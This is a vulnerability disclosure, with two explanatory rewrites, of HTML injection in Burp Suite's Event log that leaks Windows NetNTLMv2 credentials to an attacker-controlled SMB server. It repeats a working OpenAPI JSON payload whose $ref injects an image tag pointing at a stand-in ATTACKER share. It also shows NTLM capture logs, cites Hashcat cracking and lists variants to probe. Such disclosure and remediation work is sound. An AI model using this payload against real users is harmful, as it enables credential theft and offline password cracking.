Burp Suite OpenAPI Event Log HTML injection triggers Windows SMB authentication
Burp Suite's Event log renders unencoded text from an OpenAPI parser exception as HTML, so an injected image tag with a UNC file URL makes the Windows Burp process authenticate to an attacker-controlled SMB server. The attacker can capture a NetNTLMv2 challenge-response for offline password guessing and direct access to a chosen share and file.
- Triaged in 5 days
- Fixed in 42 days
- Paid in 47 days
- Disclosed after 50 days
Summary
Burp Suite 2026.8 build 53343 inserts attacker-controlled text from an OpenAPI parser exception into the Event log HTML without encoding it. After the user invokes Response → Save OpenAPI requests to site map and selects the resulting Event log row, Swing's HTMLEditorKit interprets an injected <img> tag. On Windows, a UNC-backed file: URL causes the Burp process to authenticate to an attacker-controlled SMB endpoint.
I confirmed the full chain in a controlled Windows 11 environment: NTLM Type 1/2/3 exchange, successful SMB session setup, connection to the selected share, and reads of the selected file. This is not automatic when the response is received; it requires the two UI actions described below.
Affected version
- Burp Suite Professional/Community 2026.8 Early Adopter, build 53343.
- Tested artifact: official Windows ARM64 installer
burpsuite_windows-arm64_v2026_8.exe. - Installer SHA-256:
cda0916433c696eec59c5650c15bc59fdcc4fe1bc04e744f4612653f7b7ea05f. - Extracted
burpsuite.jarSHA-256:1c42cdc7f38f2fb3486a15e1c5212763f81e6e4bc6059776025dd2c093cf94e1. - Bundled runtime used for testing: Microsoft OpenJDK
25.0.4+7-LTS, Windows ARM64. - Release page: https://portswigger.net/burp/releases/professional-community-2026-8
Proof of concept
Serve the following response with HTTP status 200 and Content-Type: application/json. Replace ATTACKER and SHARE with an SMB endpoint and share under your control.
{
"openapi": "3.0.0",
"info": {"title": "t", "version": "1"},
"servers": [{"url": "http://127.0.0.1:9"}],
"paths": {
"/x": {
"post": {
"requestBody": {
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/http://127.0.0.1:1/><img src=file:////ATTACKER/SHARE/image.gif>"
}
}
}
},
"responses": {"200": {"description": "ok"}}
}
}
}
}
The   entity is required. A literal space is truncated at this parser-error location, while Swing decodes   as the whitespace between the img tag name and its src attribute.
Reproduction steps
- Start a fresh temporary Burp project on Windows and a controlled SMB listener reachable from that machine.
- Send a request in Repeater to an endpoint returning the response above.
- Right-click the Repeater Response editor and select Save OpenAPI requests to site map.
- Open Dashboard → Event log.
- Select the new Scanner/Error row for the API-definition parsing failure.
- Observe the Burp process authenticate to
ATTACKER, connect toSHARE, and requestimage.gif.
Using a fresh project avoids Event log deduplication suppressing an equivalent recent event.
Observed result
The controlled live run produced the following sequence:
Windows -> listener: NTLM Type 1
listener -> Windows: NTLM Type 2 challenge
Windows -> listener: NTLM Type 3, domain=HAKAI, user=burppoc
listener -> Windows: SMB2 Session Setup STATUS_SUCCESS
listener -> Windows: SMB2 Tree Connect STATUS_SUCCESS
Windows -> listener: Create/Read POCSHARE\swing-image.gif
The listener returned the exact seven-byte fixture GIF89a\n. The bytes read from the SMB response had SHA-256 3cf815fc3053dafe38db36ef0977b9d027a43bc1ed0d4c5377aa580378bc57f6, matching the predeclared file. The Type 3 material is omitted from the report.
An independent fresh Windows boot using the same product classes, runtime, synthetic credential, and escaped HTML control produced zero AUTHENTICATE_MESSAGE, TreeConnect, Create, or Read events. Hashcat mode 5600, with the potfile disabled and only the predeclared synthetic password as a candidate, verified that the positive capture was a valid NetNTLMv2 challenge-response for the controlled account.
Root cause
The build-53343 data flow is:
attacker-controlled Repeater response
-> OpenAPI validation and full parsing
-> raw ApiDefinitionException.getMessage()
-> raw Event log detail
-> Event log HTML StringBuilder
-> JEditorPane.setText()
-> Swing ImageView
-> Windows file/UNC resolution
-> SMB authentication
The lightweight OpenAPI gate accepts the response as version 3.0.0. Full parsing rejects the crafted $ref and creates this exception detail:
Blocking URL resolution for 'http://127.0.0.1:1/><img src=file:////ATTACKER/SHARE/image.gif>'.
Zfk4.Ze passes the raw ApiDefinitionException.getMessage() value to the Event log builder. Zg3w.ZD(false) appends that detail directly to an HTML StringBuilder, and Zwlk.setText() renders it as text/html. The custom HTMLEditorKit view factory replaces paragraph handling but delegates image elements to Swing's standard ImageView, which resolves the UNC-backed resource.
Relationship to report #1054382 / CVE-2021-29416
Public report #1054382 documented the same broad Swing HTML/resource-loading class and Windows credential impact. This report is a current mitigation bypass/regression with a distinct source and viewer: a gate-valid OpenAPI response becomes raw ApiDefinitionException detail in the Event log JEditorPane. The path remains reachable in official build 53343.
Historical report: https://hackerone.com/reports/1054382
Preconditions and scope
- The user must invoke Save OpenAPI requests to site map and then select the resulting Event log row.
- The victim must be on Windows, able to reach the SMB endpoint, and have a credential applicable to that target.
- Outbound SMB or NTLM policy may prevent authentication.
- Proxying, crawling, passive scanning, and active scanning are not claimed as trigger paths.
- I do not claim plaintext password disclosure, a reusable NT hash, relay, RCE, or universal impact across every Windows configuration.
All testing used owned systems, a read-only controlled share, and synthetic credentials. No third-party credential, host, project, or customer data was accessed.
Remediation
- HTML-encode every dynamic Event log value at the final rendering boundary, including
&,<,>, quotes, and apostrophes. - Disable or replace
ImageViewand any other external-resource view in the Event logHTMLEditorKit; Event details should never initiate network or file access. - Add regression tests covering entity whitespace and
http:,file:, and UNC-backed resource URLs.
Impact
An attacker controlling an API response can turn a plausible Burp API-import workflow into outbound SMB authentication from the Windows account running Burp. This exposes a NetNTLMv2 challenge-response to the attacker-controlled listener, where it can be subjected to offline password guessing. The controlled test also demonstrated attacker-directed access to the selected SMB share and file path.
I assess this as Medium because exploitation requires two explicit UI actions, depends on Windows/network credential-release policy, and may be affected by Event log deduplication. No password recovery, reusable NT hash, relay, code execution, or lateral movement is claimed.
Context
Burp Suite's Repeater has a feature that lets you take an HTTP response you have just received and turn it into site map entries: right-click the Response editor and choose Save OpenAPI requests to site map. Burp parses the response as an OpenAPI definition, and any requests described in it are added to the site map. Parsing failures are surfaced to the user in the Dashboard → Event log, which is rendered as HTML inside a Swing JEditorPane.
The report covers Burp Suite Professional/Community 2026.8 Early Adopter, build 53343. The problem is that text from an OpenAPI parser exception, which is derived from the attacker-controlled response, reaches the Event log HTML without encoding. When the user selects the resulting Event log row, Swing's HTMLEditorKit interprets an injected <img> tag. On Windows, a UNC-backed file: URL makes the Burp process authenticate to an attacker-controlled SMB endpoint.
Setup
The researcher tested in a controlled Windows 11 environment with the following artefacts:
| Item | Value |
|---|---|
| Product | Burp Suite Professional/Community 2026.8 Early Adopter, build 53343 |
| Installer | official Windows ARM64 installer burpsuite_windows-arm64_v2026_8.exe |
| Installer SHA-256 | [redacted] |
Extracted burpsuite.jar SHA-256 |
[redacted] |
| Bundled runtime | Microsoft OpenJDK 25.0.4+7-LTS, Windows ARM64 |
The release page is https://portswigger.net/burp/releases/professional-community-2026-8.
Preconditions for the chain:
- The user must invoke Save OpenAPI requests to site map and then select the resulting Event log row. The authentication is not triggered automatically when the response is received.
- The victim must be on Windows, able to reach the SMB endpoint, and have a credential applicable to that target.
- Outbound SMB or NTLM policy may prevent authentication.
All testing used owned systems, a read-only controlled share and synthetic credentials. No third-party credential, host, project or customer data was accessed.
Finding it
The OpenAPI parser's error message embeds the offending $ref value verbatim, and that message is written into the Event log, which is rendered as HTML. Because the Event log is displayed through Swing's HTML renderer, an <img> tag in that text is not shown as text: it is resolved as a resource. A file: URL pointing at a UNC path turns that resource load into an SMB connection, which on Windows carries NTLM authentication.
The report places this in the same broad class as public report #1054382 (CVE-2021-29416), which documented Swing HTML/resource-loading with Windows credential impact. This finding is described as a current mitigation bypass/regression with a distinct source and viewer: a gate-valid OpenAPI response becomes raw ApiDefinitionException detail in the Event log JEditorPane. The path remains reachable in official build 53343.
Exploitation
Step 1: Serve a crafted OpenAPI response
Serve the following response with HTTP status 200 and Content-Type: application/json. Replace ATTACKER and SHARE with an SMB endpoint and share under your control.
{
"openapi": "3.0.0",
"info": {"title": "t", "version": "1"},
"servers": [{"url": "http://[redacted]:9"}],
"paths": {
"/x": {
"post": {
"requestBody": {
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/http://[redacted]:1/><img src=file:////ATTACKER/SHARE/image.gif>"
}
}
}
},
"responses": {"200": {"description": "ok"}}
}
}
}
}
The lightweight OpenAPI gate accepts the response as version 3.0.0. Full parsing rejects the crafted $ref, and the resulting exception detail contains the injected <img> tag. The   entity is required. A literal space is truncated at this parser-error location, while Swing decodes   as the whitespace between the img tag name and its src attribute.
Step 2: Start a fresh project and an SMB listener
Start a fresh temporary Burp project on Windows and a controlled SMB listener reachable from that machine. A fresh project avoids Event log deduplication suppressing an equivalent recent event.
Step 3: Send the request in Repeater
Send a request in Repeater to an endpoint returning the response above.
Step 4: Save OpenAPI requests to site map
Right-click the Repeater Response editor and select Save OpenAPI requests to site map. Full parsing rejects the crafted $ref and creates an Event log entry.
Step 5: Open the Event log and select the row
Open Dashboard → Event log and select the new Scanner/Error row for the API-definition parsing failure. Selecting the row is what causes the detail to be rendered as HTML.
Step 6: Observe the SMB authentication
Observe the Burp process authenticate to ATTACKER, connect to SHARE, and request image.gif.
Observed result
The controlled live run produced the following sequence:
Windows -> listener: NTLM Type 1
listener -> Windows: NTLM Type 2 challenge
Windows -> listener: NTLM Type 3, domain=HAKAI, user=burppoc
listener -> Windows: SMB2 Session Setup STATUS_SUCCESS
listener -> Windows: SMB2 Tree Connect STATUS_SUCCESS
Windows -> listener: Create/Read POCSHARE\swing-image.gif
The listener returned the exact seven-byte fixture GIF89a\n. The bytes read from the SMB response had SHA-256 [redacted], matching the predeclared file. The Type 3 material is omitted from the report.
As a control, an independent fresh Windows boot using the same product classes, runtime, synthetic credential and escaped HTML produced zero AUTHENTICATE_MESSAGE, TreeConnect, Create or Read events. Hashcat mode 5600, with the potfile disabled and only the predeclared synthetic password as a candidate, verified that the positive capture was a valid NetNTLMv2 challenge-response for the controlled account.
Root cause
The build-53343 data flow is:
attacker-controlled Repeater response
-> OpenAPI validation and full parsing
-> raw ApiDefinitionException.getMessage()
-> raw Event log detail
-> Event log HTML StringBuilder
-> JEditorPane.setText()
-> Swing ImageView
-> Windows file/UNC resolution
-> SMB authentication
Full parsing rejects the crafted $ref and creates this exception detail:
Blocking URL resolution for 'http://[redacted]:1/><img src=file:////ATTACKER/SHARE/image.gif>'.
Zfk4.Ze passes the raw ApiDefinitionException.getMessage() value to the Event log builder. Zg3w.ZD(false) appends that detail directly to an HTML StringBuilder, and Zwlk.setText() renders it as text/html. The custom HTMLEditorKit view factory replaces paragraph handling but delegates image elements to Swing's standard ImageView, which resolves the UNC-backed resource.
Impact
An attacker controlling an API response can turn a plausible Burp API-import workflow into outbound SMB authentication from the Windows account running Burp. This exposes a NetNTLMv2 challenge-response to the attacker-controlled listener, where it can be subjected to offline password guessing. The controlled test also demonstrated attacker-directed access to the selected SMB share and file path.
The researcher assesses this as Medium because exploitation requires two explicit UI actions, depends on Windows/network credential-release policy, and may be affected by Event log deduplication. No password recovery, reusable NT hash, relay, code execution or lateral movement is claimed. Proxying, crawling, passive scanning and active scanning are not claimed as trigger paths, and no universal impact across every Windows configuration is claimed.
Fix
The report recommends three changes:
- HTML-encode every dynamic Event log value at the final rendering boundary, including
&,<,>, quotes and apostrophes. - Disable or replace
ImageViewand any other external-resource view in the Event logHTMLEditorKit; Event details should never initiate network or file access. - Add regression tests covering entity whitespace and
http:,file:and UNC-backed resource URLs.
- Other parser error messages. Any place where a parser echoes an attacker-controlled value into a UI that renders HTML is a candidate. A positive result is an injected tag appearing as markup rather than text in the rendered view.
- Other Swing HTML surfaces. Look for
JEditorPane,JTextPaneorHTMLEditorKitusage that displays server-derived text. A positive result is an outbound request to a listener you control when the text is displayed. - Other URL schemes. The report's fix mentions
http:,file:and UNC-backed URLs. A positive result is a request arriving at your listener, or a file access, from the client process. - Entity whitespace. The report notes that a literal space is truncated at this parser-error location while
 survives. Try entity-encoded whitespace where a literal space is stripped or truncated. - Deduplication. Use a fresh project or a distinct event to avoid the Event log suppressing an equivalent recent entry.
The researcher ran the full chain end to end in a controlled environment: NTLM Type 1/2/3 exchange, successful SMB session setup, tree connect, and reads of the selected file, with the returned bytes matching a predeclared fixture by SHA-256. A negative control on a fresh boot produced zero authentication, tree connect, create or read events, and Hashcat mode 5600 verified the positive capture as a valid NetNTLMv2 challenge-response for the controlled account. The report also states its limits explicitly: two UI actions are required, Windows and network policy apply, and no password recovery, reusable NT hash, relay, code execution or lateral movement is claimed.
What happened, in plain words
Burp Suite is a desktop program that security testers use to look at and change the traffic between their browser and a website. One of its tools, Repeater, lets you send a request to a server and read the reply. Repeater also has a small convenience feature: if the reply happens to describe an API, you can right-click the reply and choose Save OpenAPI requests to site map, and Burp will read that description and add the requests it mentions to a list of known addresses (the site map).
An API (Application Programming Interface) is the way one program talks to another over the network. Instead of a web page meant for a human, an API returns structured data, usually in a format called JSON, which is just text arranged in curly braces and square brackets. An OpenAPI definition is a JSON document that describes an API: which addresses exist, what they accept and what they return. Think of it as a restaurant menu written in a fixed format that software can read.
When Burp tries to read such a menu and something is wrong with it, it writes an error message into its Event log, a running list of things that happened inside Burp. You open it from Dashboard → Event log. That log is not plain text: Burp draws it as a small web page inside the program, using a part of Java (the language Burp is written in) called Swing, and specifically a component called JEditorPane that understands HTML. HTML is the language web pages are written in, where <img src=...> means "show the picture found at this address".
The bug is that the error message contains text copied straight from the reply the attacker sent, and Burp puts that text into the log without neutralising it. So if the reply contains something that looks like an HTML picture tag, Burp's log does not show it as text: it tries to load the picture. On Windows, a picture address can point at a shared folder on another computer, and Windows automatically proves who it is when connecting to such a share. That proof is called NTLM authentication, and it contains a value derived from the user's password. The attacker's machine receives it and can subject it to offline password guessing.
Two things must happen for this to work: the user must choose Save OpenAPI requests to site map, and then must click the resulting row in the Event log. It does not fire just because the reply arrives. The researcher rated it Medium for that reason, and because Windows and network settings can block the connection.
The product and version
Burp Suite comes in a free Community edition and a paid Professional edition. The report covers both, in the 2026.8 Early Adopter release, build 53343. "Early Adopter" means a pre-release build offered to people who want to try new features before everyone else gets them.
The researcher tested on Windows 11 using these files:
| Item | Value |
|---|---|
| Product | Burp Suite Professional/Community 2026.8 Early Adopter, build 53343 |
| Installer | official Windows ARM64 installer burpsuite_windows-arm64_v2026_8.exe |
| Installer SHA-256 | [redacted] |
Extracted burpsuite.jar SHA-256 |
[redacted] |
| Bundled runtime | Microsoft OpenJDK 25.0.4+7-LTS, Windows ARM64 |
The release page is https://portswigger.net/burp/releases/professional-community-2026-8.
A SHA-256 is a fingerprint of a file: a long string of characters computed from the file's contents. If two files have the same fingerprint, they are byte-for-byte identical. Publishing fingerprints lets anyone check they are testing exactly the same software as the researcher, and not a modified copy. ARM64 is a family of processors; Windows laptops with certain chips use it, and the installer is built for that family. OpenJDK is the free Java runtime, the engine that actually runs Java programs like Burp.
What has to be true before it works
- The user must choose Save OpenAPI requests to site map and then select the resulting Event log row. Nothing happens automatically when the reply is received.
- The victim must be on Windows, must be able to reach the attacker's file-sharing endpoint, and must hold a credential that the endpoint accepts.
- Company policy or firewall rules that block outbound file sharing (SMB) or NTLM authentication may stop the connection.
All testing used machines the researcher owned, a shared folder that could only be read, and made-up credentials. No real person's credentials, computer, project or customer data was touched.
How the researcher found it
Two observations combined. First, when the OpenAPI parser rejects a document, its error message quotes the offending value back word for word. Second, that message is written into the Event log, and the Event log is drawn as HTML. Because the log is drawn by Swing's HTML renderer, an <img> tag inside that text is not displayed as characters: it is treated as an instruction to fetch a resource. If the address of that resource is a file: URL pointing at a Windows network path (a UNC path, one that starts with two backslashes and names another computer), then fetching it means opening a connection to that computer, and Windows sends NTLM authentication along with the connection.
The report links this to an older public report, #1054382, also tracked as CVE-2021-29416, which described the same broad class: Swing rendering HTML and loading resources, with consequences for Windows credentials. CVE stands for Common Vulnerabilities and Exposures; it is a catalogue number given to a publicly known security flaw so people can refer to it unambiguously. This new finding is described as a bypass or regression of the earlier mitigation, with a different source and a different viewer: a reply that passes the first check becomes raw parser error text in the Event log's JEditorPane. The path is still reachable in the official build 53343.
Step by step: how the attack works
Step 1: Serve a crafted OpenAPI response
Serve the following response with HTTP status 200 and Content-Type: application/json. Replace ATTACKER and SHARE with an SMB endpoint and share under your control.
{
"openapi": "3.0.0",
"info": {"title": "t", "version": "1"},
"servers": [{"url": "http://[redacted]:9"}],
"paths": {
"/x": {
"post": {
"requestBody": {
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/http://[redacted]:1/><img src=file:////ATTACKER/SHARE/image.gif>"
}
}
}
},
"responses": {"200": {"description": "ok"}}
}
}
}
}
"openapi": "3.0.0"says which version of the OpenAPI format this document follows. Burp has a quick first check that only looks at this kind of top-level marker, and it passes."info"holds a title and a version for the API. They are filler here; the attack does not depend on them."servers"lists the base addresses of the API.http://[redacted]:9is the local machine on a port nothing is listening on; it is there to make the document look ordinary."paths"lists the API's addresses. There is one,/x, with apostoperation."requestBody"describes what that operation accepts: JSON, whose shape is given by aschema."$ref"is a reference. In OpenAPI it normally points to another part of the same document, written as#/components/schemas/.... Here the value after the#is deliberately malformed.- The malformed part starts with
http://[redacted]:1, then/>closes the surrounding context early, and then comes<img src=file:////ATTACKER/SHARE/image.gif>. That is an HTML picture tag. is an HTML entity, a coded way of writing a character; means a space. file:is a URL scheme meaning "a file on this computer or on a network share". Four slashes followed byATTACKERandSHAREdescribe a Windows network path to a shared folder on the attacker's machine, andimage.gifis the file name Burp will ask for."responses"describes what the operation returns;200with the descriptionokis filler.
The lightweight OpenAPI gate accepts the response as version 3.0.0. Full parsing rejects the crafted $ref, and the resulting exception detail contains the injected <img> tag. The   entity is required. A literal space is truncated at this parser-error location, while Swing decodes   as the whitespace between the img tag name and its src attribute.
If you type a normal space there, the parser that builds the error message cuts the text off at that point, so the tag never survives into the log. Writing the space as   slips past that truncation, and the HTML renderer later turns it back into a real space when it draws the log.
Step 2: Start a fresh project and an SMB listener
Start a fresh temporary Burp project on Windows and a controlled SMB listener reachable from that machine. A fresh project avoids Event log deduplication suppressing an equivalent recent event.
SMB, the Server Message Block protocol, is how Windows computers share files and folders over a network. A listener here is a program on the attacker's machine that pretends to be such a file server and records what arrives. Deduplication means Burp avoids writing the same event twice in a row; if an identical entry already exists, the new one may be dropped, and with it the chance to click it. A brand-new project has an empty log, so deduplication is unlikely to suppress the entry.
Step 3: Send the request in Repeater
Send a request in Repeater to an endpoint returning the response above.
Repeater is the part of Burp where you can send a single request and inspect the reply.
Step 4: Save OpenAPI requests to site map
Right-click the Repeater Response editor and select Save OpenAPI requests to site map. Full parsing rejects the crafted $ref and creates an Event log entry.
Burp now reads the reply properly, not just the quick top-level check, decides the $ref is invalid, and writes an error. The error text includes the bad value, copied verbatim, picture tag and all.
Step 5: Open the Event log and select the row
Open Dashboard → Event log and select the new Scanner/Error row for the API-definition parsing failure. Selecting the row is what causes the detail to be rendered as HTML.
Once it is drawn, the HTML renderer sees the tag and tries to fetch the image from the network path.
Step 6: Observe the SMB authentication
Observe the Burp process authenticate to ATTACKER, connect to SHARE, and request image.gif.
What the researcher saw
The controlled live run produced the following sequence:
Windows -> listener: NTLM Type 1
listener -> Windows: NTLM Type 2 challenge
Windows -> listener: NTLM Type 3, domain=HAKAI, user=burppoc
listener -> Windows: SMB2 Session Setup STATUS_SUCCESS
listener -> Windows: SMB2 Tree Connect STATUS_SUCCESS
Windows -> listener: Create/Read POCSHARE\swing-image.gif
Line by line:
NTLM Type 1is the Windows machine opening the conversation: "I would like to log in, here is what I support." NTLM is the older Windows login protocol used when a computer connects to another computer.NTLM Type 2 challengeis the listener replying with a random value, the challenge. This value is what makes each login attempt unique.NTLM Type 3is Windows answering with a value computed from the user's password and that challenge, plus the domain and user name. The report showsdomain=HAKAI, user=burppoc, which are the made-up test account's details. This is the sensitive part: it can be taken away and attacked offline.SMB2 Session Setup STATUS_SUCCESSmeans the fake server accepted the login.SMB2 Tree Connect STATUS_SUCCESSmeans the client then connected to a particular shared folder.Create/Read POCSHARE\swing-image.gifmeans the client asked to open and read a file in that share.
The listener returned the exact seven-byte fixture GIF89a\n. The bytes read from the SMB response had SHA-256 [redacted], matching the predeclared file. The Type 3 material is omitted from the report.
A fixture is a small, fixed piece of data prepared in advance. GIF89a is the signature at the start of a GIF image file, so the fake server answered with something that looks like a tiny image. The fingerprint matching the predeclared file proves the bytes Burp received were exactly the ones the researcher planted, not something else.
As a control, an independent fresh Windows boot using the same product classes, runtime, synthetic credential and escaped HTML produced zero AUTHENTICATE_MESSAGE, TreeConnect, Create or Read events. Hashcat mode 5600, with the potfile disabled and only the predeclared synthetic password as a candidate, verified that the positive capture was a valid NetNTLMv2 challenge-response for the controlled account.
A control is a comparison run where one ingredient is changed, to show the result really depends on that ingredient. Here the HTML was escaped, meaning the angle brackets were neutralised so the tag could not form, and nothing happened: no login, no share connection, no file read. Hashcat is a password-cracking program; mode 5600 is its setting for NetNTLMv2 captures. A potfile is Hashcat's memory of previous results, and disabling it forces a genuine fresh attempt. NetNTLMv2 is the specific version of the NTLM answer used by modern Windows.
Why it happens
The build-53343 data flow is:
attacker-controlled Repeater response
-> OpenAPI validation and full parsing
-> raw ApiDefinitionException.getMessage()
-> raw Event log detail
-> Event log HTML StringBuilder
-> JEditorPane.setText()
-> Swing ImageView
-> Windows file/UNC resolution
-> SMB authentication
Each arrow is one handover of the text:
- The reply arrives from the attacker's server.
- Burp validates it and parses it fully.
- Parsing fails, and the error object's
getMessage()returns the error text.getMessage()is a standard Java method that hands back a message string;ApiDefinitionExceptionis the error type for a bad API definition. - That string becomes the Event log detail, unchanged.
- It is appended into a
StringBuilder, a Java object for gluing text together, which is building the HTML of the log. setText()puts the finished HTML into theJEditorPane, telling it to treat it astext/html.- Swing's
ImageViewhandles the picture tag and goes looking for the resource. - Windows resolves the network path.
- SMB authentication follows.
Full parsing rejects the crafted $ref and creates this exception detail:
Blocking URL resolution for 'http://[redacted]:1/><img src=file:////ATTACKER/SHARE/image.gif>'.
This is the error message itself. Notice that it quotes the bad value inside single quotes, and the bad value contains the picture tag.
Zfk4.Ze passes the raw ApiDefinitionException.getMessage() value to the Event log builder. Zg3w.ZD(false) appends that detail directly to an HTML StringBuilder, and Zwlk.setText() renders it as text/html. The custom HTMLEditorKit view factory replaces paragraph handling but delegates image elements to Swing's standard ImageView, which resolves the UNC-backed resource.
Those short names like Zfk4.Ze are internal class and method names from the compiled program, which look scrambled because the code was processed to make it smaller. HTMLEditorKit is the Swing component that knows how to draw HTML; a view factory is the part that decides which object draws each kind of element. Burp replaced the part that draws paragraphs, but left pictures to Swing's default ImageView, so the resource-loading behaviour survived.
What an attacker gets
An attacker controlling an API response can turn a plausible Burp API-import workflow into outbound SMB authentication from the Windows account running Burp. This exposes a NetNTLMv2 challenge-response to the attacker-controlled listener, where it can be subjected to offline password guessing. The controlled test also demonstrated attacker-directed access to the selected SMB share and file path.
Offline guessing means the attacker tries candidate passwords against the captured answer on their own machines. The test also showed access to the selected SMB share and file path.
The researcher assesses this as Medium because exploitation requires two explicit UI actions, depends on Windows/network credential-release policy, and may be affected by Event log deduplication. No password recovery, reusable NT hash, relay, code execution or lateral movement is claimed. Proxying, crawling, passive scanning and active scanning are not claimed as trigger paths, and no universal impact across every Windows configuration is claimed.
A reusable NT hash would be the stored form of the password itself, which could be replayed directly; the report does not claim that. Relay means forwarding the captured login to a different server to log in there; not claimed. Code execution means running the attacker's programs on the victim's machine; not claimed. Lateral movement means hopping from one machine to others inside a network; not claimed. Proxying, crawling and scanning are other Burp features that also handle server replies; the report does not claim they trigger the bug.
How to fix it
The report recommends three changes:
- HTML-encode every dynamic Event log value at the final rendering boundary, including
&,<,>, quotes and apostrophes. - Disable or replace
ImageViewand any other external-resource view in the Event logHTMLEditorKit; Event details should never initiate network or file access. - Add regression tests covering entity whitespace and
http:,file:and UNC-backed resource URLs.
Encoding means turning characters that have special meaning in HTML into harmless codes, so < becomes < and is shown as a character instead of starting a tag. Doing it at the final rendering boundary means at the last moment before drawing, so no path can skip it. The second change removes the ability to fetch anything at all: a log entry should never cause a network or file access. Regression tests are automated checks that fail if the bug comes back; here they would feed in coded spaces and the three kinds of address and confirm nothing is fetched.
The report lists variants worth testing:
- Other parser error messages. Any place where a parser echoes an attacker-controlled value into a UI that renders HTML is a candidate. A positive result is an injected tag appearing as markup rather than text in the rendered view.
- Other Swing HTML surfaces. Look for
JEditorPane,JTextPaneorHTMLEditorKitusage that displays server-derived text. A positive result is an outbound request to a listener you control when the text is displayed. - Other URL schemes. The report's fix mentions
http:,file:and UNC-backed URLs. A positive result is a request arriving at your listener, or a file access, from the client process. - Entity whitespace. The report notes that a literal space is truncated at this parser-error location while
 survives. Try entity-encoded whitespace where a literal space is stripped or truncated. - Deduplication. Use a fresh project or a distinct event to avoid the Event log suppressing an equivalent recent entry.
JTextPane is a sibling of JEditorPane, another Swing component that can display styled text. The general lesson is that any desktop program which shows server-supplied error text as formatted HTML may be talked into fetching something.
The researcher ran the full chain end to end in a controlled environment: NTLM Type 1/2/3 exchange, successful SMB session setup, tree connect, and reads of the selected file, with the returned bytes matching a predeclared fixture by SHA-256. A negative control on a fresh boot produced zero authentication, tree connect, create or read events, and Hashcat mode 5600 verified the positive capture as a valid NetNTLMv2 challenge-response for the controlled account. The report also states its limits explicitly: two UI actions are required, Windows and network policy apply, and no password recovery, reusable NT hash, relay, code execution or lateral movement is claimed.
Glossary
- API: the way one program talks to another over a network, usually exchanging structured data rather than web pages.
- API definition: a document describing an API's addresses, inputs and outputs.
- ARM64: a family of processors used in some Windows machines; the installer is built for it.
- Burp Suite: a desktop tool for inspecting and changing traffic between a browser and a server.
- CVE: a catalogue number given to a publicly known security flaw.
- Challenge-response: a login method where the server sends a random value and the client answers with a value computed from the password and that random value.
- Content-Type: a header in an HTTP reply saying what kind of data it contains, such as JSON.
- Control: a comparison run with one ingredient changed, to show the result depends on it.
- Deduplication: suppressing a repeated event so the same entry is not logged twice.
- Encoding (HTML-encoding): turning characters with special meaning in HTML into harmless codes so they display as text.
- Event log: Burp's list of things that happened inside the program, drawn as HTML.
- Fixture: a small fixed piece of data prepared in advance for a test.
- Hashcat: a program that guesses passwords against captured login values.
- HTML: the language web pages are written in, where tags like
<img>describe content. - HTML entity: a coded way of writing a character in HTML, such as
 for a space. - HTMLEditorKit: the Swing component that knows how to draw HTML.
- HTTP status: a number in a reply saying how the request went, such as
200for success. - ImageView: the Swing object that draws pictures and fetches their resources.
- JEditorPane: a Swing component that displays HTML inside a Java program.
- JTextPane: a related Swing component for styled text.
- JSON: a text format for structured data, using curly braces and square brackets.
- Listener: a program that waits for incoming connections and records them.
- NetNTLMv2: the modern version of the NTLM login answer, which can be attacked offline.
- NTLM: an older Windows login protocol used when one computer connects to another.
- OpenAPI: a fixed format for describing an API in JSON.
- OpenJDK: the free Java runtime that runs Java programs.
- Parser: the part of a program that reads a document and checks its structure.
- Potfile: Hashcat's memory of previous cracking results.
- Repeater: the Burp tool for sending a single request and reading the reply.
- Response editor: the part of Repeater where the server's reply is shown.
- SHA-256: a fingerprint computed from a file's contents, used to prove two files are identical.
- Site map: Burp's list of addresses it knows about for a target.
- SMB: the protocol Windows uses to share files and folders over a network.
- Swing: the part of Java that draws windows, buttons and text.
- UNC path: a Windows network path naming another computer and a shared folder.
- URL scheme: the first part of an address, such as
http:orfile:, saying how to reach it. $ref: an OpenAPI field that points to another part of the document.file:URL: an address meaning a file on this computer or on a network share.